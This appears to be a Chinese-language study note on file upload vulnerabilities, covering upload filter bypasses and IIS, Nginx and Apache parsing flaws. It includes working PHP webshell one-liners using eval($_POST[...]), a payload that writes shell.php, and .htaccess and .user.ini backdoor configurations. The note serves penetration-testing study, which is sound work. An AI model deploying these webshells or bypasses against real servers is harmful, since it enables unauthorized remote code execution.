Reference

文件上传漏洞总结(含原因+防御措施)+白名单+黑名单+内容、头+解析漏洞/修补方案_00截断修复方案-CSDN博客

文件上传漏洞 | 狼组安全团队公开知识库 (wgpsec.org)

文件上传漏洞知识点总结(包含了文件解析漏洞) | 安全学习笔记 (22kaka.fun)

根据网上的文章对文件上传漏洞进行了学习和梳理

文件上传漏洞

概念

攻击思路就是利用文件上传的漏洞,将自己的webshell文件上传到服务器,进而远程控制服务器

防御措施

  1. 上传文件的存储位置与服务器分离;
  2. 上传的文件重新修改文件名文件后缀名;(如何确定后缀名防止修改:前端传递,后端再校验)
  3. 文件上传的上传保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载;

一般的防御方式主要分为:前端和后端,分别在前端和后端加上检测

绕过

前端

  • 检测:一般是通过一段javascript代码校验文件的后缀名,有白名单也有黑名单,如果后缀名不对,就会有弹窗告诉说后缀名不对。此时文件上传的数据包并没有发送到服务端,只是在客户端浏览器使用Javascript对数据包进行检测

绕过姿势

用户自己修改前端验证的代码
image-20240701190759098
bp抓包

用bp抓包后,将上传文件的后缀修改后再发送,这样就绕过了js的验证

就是先将上传的文件后缀改成文件允许上传的文件类型,如jpg,png,gif,绕过javascript检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功

禁用js
畸形后缀

phtml,php4,php5,pht,php3

asp.net 【IIS】 asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php .php .html .htm【apache】 php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp *.jsp,*.jspx【tomcat】 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

后端

校验

  1. MIME检测 文件头content-type字段校验(image/gif)
  2. 文件内容头校验(GIF89a)
  3. 文件扩展名校验 (白名单、黑名单)
  4. 文件内容检测 (检测内容是否合法或含有恶意代码)

绕过

MIME与文件头校验绕过

什么是MIME检测:HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。

  • text/plain (纯文本)
  • text/html (HTML文档)
  • text/javascript (js代码)
  • application/xhtml+xml (XHTML文档)
  • image/gif (GIF图像)
  • image/jpeg (JPEG图像)
  • image/png (PNG图像)
  • video/mpeg (MPEG动画)
  • application/octet-stream (二进制数据)
  • application/pdf (PDF文档)

文件头检测:利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。

格式文件头
TIFF (tif) 49492A00
Windows Bitmap (bmp) 424D
CAD (dwg) 41433130
Adobe Photoshop (psd) 38425053
JPEG (jpg) FFD8FF
PNG (png) 89504E47
GIF (gif) 47494638
XML (xml) 3C3F786D6C
HTML (html) 68746D6C3E
MS Word/Excel (xls.or.doc) D0CF11E0
MS Access (mdb) 5374616E64617264204A
ZIP Archive (zip), 504B0304
RAR Archive (rar), 52617221
Wave (wav), 57415645
AVI (avi), 41564920
Adobe Acrobat (pdf), 255044462D312E
前两种校验,在恶意脚本前添加GIF89a标识,给上传脚本加上相应的magicnumber一句话木马前后加图片数据进行混淆;

直接把木马改成.gif后缀上传,用burpsuite拦包修改后缀名

双写绕过

如果后台会将敏感词替换为空格,双写该敏感词可能绕过,egphphpp

替换后变成php

找漏网之鱼

有:asp: asa cer aspx jsp: jspx jspf php: php php3 php4 php5 phtml pht exe: exee

找到没ban的

利用windows的命名机制

windows会自动去掉不符合规则符号的后面内容

test.php:1.jpg
test.php::$DATA

对windows来说,不允许后缀后面带点(.)和空格( ),所以他会自动将点和空格都删掉。所以我们可以用这个性质来绕过。比如在后缀的后面加上点和空格。

p h.p

截断上传

当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

因为%00表示结束符,所以会把%00后面的所有的字符都删掉。所以如果我们要上传的是flag.php,但是要求的是jpg文件,我们就可以用flag.php%00.jpg,反正后面的jpg能被删掉。

条件:

php版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态

user.ini文件配置

user.ini文件配置和.htaccess文件配置很相似,但是用途更广泛。

我们知道php.ini是php的配置文件,.user.ini实际上就是一个可以由用户“自定义”的php.ini,实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。比如“PHP_INI_PERDIR 、 PHP_INI_USER”。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

  • 制造后门:

php配置项中有两个选项可以用来包含后门。一个是auto_append_file,还有一个是auto_append_file。

image-20240701200934793

就类似于require()的作用,直接包含一个文件。

格式就是:

auto_prepend_file=*****
auto_append_file=*******

这个文件就是我们的木马文件。所以再.user.ini上传的文件夹下的每个php文件都会添加一个include(“*******”),每个php文件都会包含木马文件。

并且这个时候包含的文件可以不是php后缀,只要含有php代码就可以了。

利用解析漏洞

解析漏洞有.htaccess文件解析漏洞,apache解析漏洞,IIS7.0 | IIS7.5 | Nginx的解析漏洞,IIS6.0解析漏洞,目录解析漏洞,文件解析漏洞。

首先解释一下什么叫解析漏洞:

文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。

文件解析漏洞

IIS解析漏洞

目录解析漏洞

原理:(/test.asp/1.jpg)

在IIS5.x/6.0 中,在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

形式:

www.xxx.com/xxx.asp/xxx.jpg

文件名解析漏洞

原理:(test.asp;.jpg)

在IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行

形式:

www.xxx.com/xxx.asp;.jpg

畸形解析漏洞

原理:(/test.jpg/*.php)

在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>

将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

形式:

www.xxx.com/upload/test.jpg/x.php

这个漏洞和接下来介绍的Nginx漏洞是一样的。

Nginx解析漏洞

畸形解析漏洞

原理:(test.jpg/*.php)

在nginx<0.8.03环境中,我们新建一个文件,内容为: ,然后将其名字修改为: test.jpg

在浏览器中访问http://192.168.10.139/test.jpg 显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied. 。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示 Access denied. 。这是到底为啥?

原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回 Access denied. 。

条件:

cgi.fix_pathinfo=1,一般默认都开启的。 形式:

www.xxx.com/upload/test.jpg/test.php

%00空字节代码解析漏洞

原理:(xxx.jpg%00.php)

在nginx0.5,0.6,0.7(<0.7.65),0.8(<0.8.37)的版本里面,Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

形式:

www.xxx.com/upload/test.jpg%00.php

%20%00代码解析漏洞

原理:(xxx.jpg/%20\0.php)

这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。

形式:

www.xxxx.com/Upload/1.jpg/%20\0.php

apache解析漏洞

原理:(shell.php.qwe.asd)

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名不可识别文件解析,就再往左判断。比如test.php.a.b的“.a”和“.b”这两种后缀是apache不可识别解析,apache就会把test.php.a.b解析成test.php

形式:

shell.php.qwe.asd

.htaccess文件攻击

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置

形式:

一般来说.htaccess文件能用来留后门和针对黑名单的绕过,只要在上传网站的根目录下,上传一个.htaccess文件即可

绕过方法:

  • 针对黑名单绕过:

编写一个txt文件,然后将后缀名改为.htaccess ,这个内容主要是将png文件解析为php文件

AddType  application/x-httpd-php    .png
  • 留后门

.htaccess 内写入php解析规则,这个的内容主要是把文件名包含s的解析成php文件

<FilesMatch "s">
SetHandler application/x-httpd-php
</FilesMatch>
  • 利用.htaccess进行文件包含

使用#注释使得.htaccess能够成功解析

php_value auto_prepend_file ".htaccess"
#<?php eval($_POST[cmd]);?>

未完待续,待补充